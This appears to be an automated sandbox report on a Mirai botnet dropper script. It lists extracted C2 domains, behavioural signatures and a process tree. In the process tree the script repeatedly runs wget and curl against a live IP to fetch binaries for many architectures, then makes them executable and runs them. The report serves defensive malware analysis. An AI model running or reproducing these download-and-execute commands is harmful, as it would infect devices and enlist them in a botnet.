Overview

overview

10

Static

static

1

76d32be0.sh

ubuntu-18.04-amd64

10

76d32be0.sh

debian-9-armhf

10

76d32be0.sh

debian-9-mips

10

76d32be0.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20251218-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20251218-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    19/12/2025, 12:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    76d32be0.sh
  • Size 4KB
  • Sample251219-pbdresbr9x
  • SHA256 283faaa9fc8bd92419688c20a71b23685381e3fcd6b4b4ae72fc773cf5bfb4c4
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
botnetunstabledefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Extracted

Family

  • mirai

Botnet

  • UNSTABLE

C2

  • cnc.504.su

  • scan.504.su

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (124016) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 22 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 10 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Writes file to system bin folder 22 IoCs
  • Changes its process name 11 IoCs
  • Reads system network configuration 1 TTPs 10 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 29 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/76d32be0.sh
    /tmp/76d32be0.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:712
    • /usr/bin/wget
      wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:716
    • /usr/bin/curl
      curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:733
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:738
      • /bin/chmod
        chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-9405be5b11ae470991841e74efef7c5e-systemd-timedated.service-T4Ogew
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/76d32be0
        ./76d32be0 payload
        2⤵
          PID:740
        • /usr/bin/wget
          wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:742
        • /usr/bin/curl
          curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.mips
          2⤵
          • System Network Configuration Discovery
          PID:746
        • /bin/chmod
          chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-9405be5b11ae470991841e74efef7c5e-systemd-timedated.service-T4Ogew
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/76d32be0
          ./76d32be0 payload
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:763
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
            2⤵
              PID:774
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-9405be5b11ae470991841e74efef7c5e-systemd-timedated.service-T4Ogew
              2⤵
              • File and Directory Permissions Modification
              PID:776
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Changes its process name
              PID:777
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
              2⤵
              • Writes file to tmp directory
              PID:780
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:793
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-9405be5b11ae470991841e74efef7c5e-systemd-timedated.service-T4Ogew
              2⤵
              • File and Directory Permissions Modification
              PID:807
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:808
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
              2⤵
              • Writes file to tmp directory
              PID:841
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:848
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-9405be5b11ae470991841e74efef7c5e-systemd-timedated.service-T4Ogew
              2⤵
              • File and Directory Permissions Modification
              PID:850
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:851
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:853
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:860
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-9405be5b11ae470991841e74efef7c5e-systemd-timedated.service-T4Ogew
              2⤵
              • File and Directory Permissions Modification
              PID:862
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:863
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
              2⤵
              • Writes file to tmp directory
              PID:868
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:875
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:877
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:878
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
              2⤵
              • Writes file to tmp directory
              PID:882
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:887
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:889
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:890
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
              2⤵
              • Writes file to tmp directory
              PID:892
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:899
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:901
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              • Reads runtime system information
              PID:902
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
              2⤵
              • Writes file to tmp directory
              PID:904
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:911
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:913
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:914
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
              2⤵
              • Writes file to tmp directory
              PID:916
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:923
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:925
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:926
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
              2⤵
              • Writes file to tmp directory
              PID:928
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:935
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:937
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:938
            • /usr/bin/wget
              wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
              2⤵
              • Writes file to tmp directory
              PID:940
            • /usr/bin/curl
              curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:947
            • /bin/chmod
              chmod +x 76d32be0 76d32be0.sh db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86
              2⤵
              • File and Directory Permissions Modification
              PID:949
            • /tmp/76d32be0
              ./76d32be0 payload
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              PID:950

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                76d32be0
                • Path /tmp/76d32be0
                • Size 106KB
                • SHA256 f0b853a8aae2cf57e3ac6a268248f4cbe82db8747641dbe4e3f2a82e78d11a81
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                76d32be0
                • Path /tmp/76d32be0
                • Size 110KB
                • SHA256 686627024697b54ebea8eeb4d890b735d33c921f08de1ffad091db022f04a966
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                db0fa4b8db0333367e9bda3ab68b8042.x86
                • Path /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
                • Size 74KB
                • SHA256 0134ba0d82da47549afbf4ff619fe518bf4863eff0f49c939457cbf81c2d15b8
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download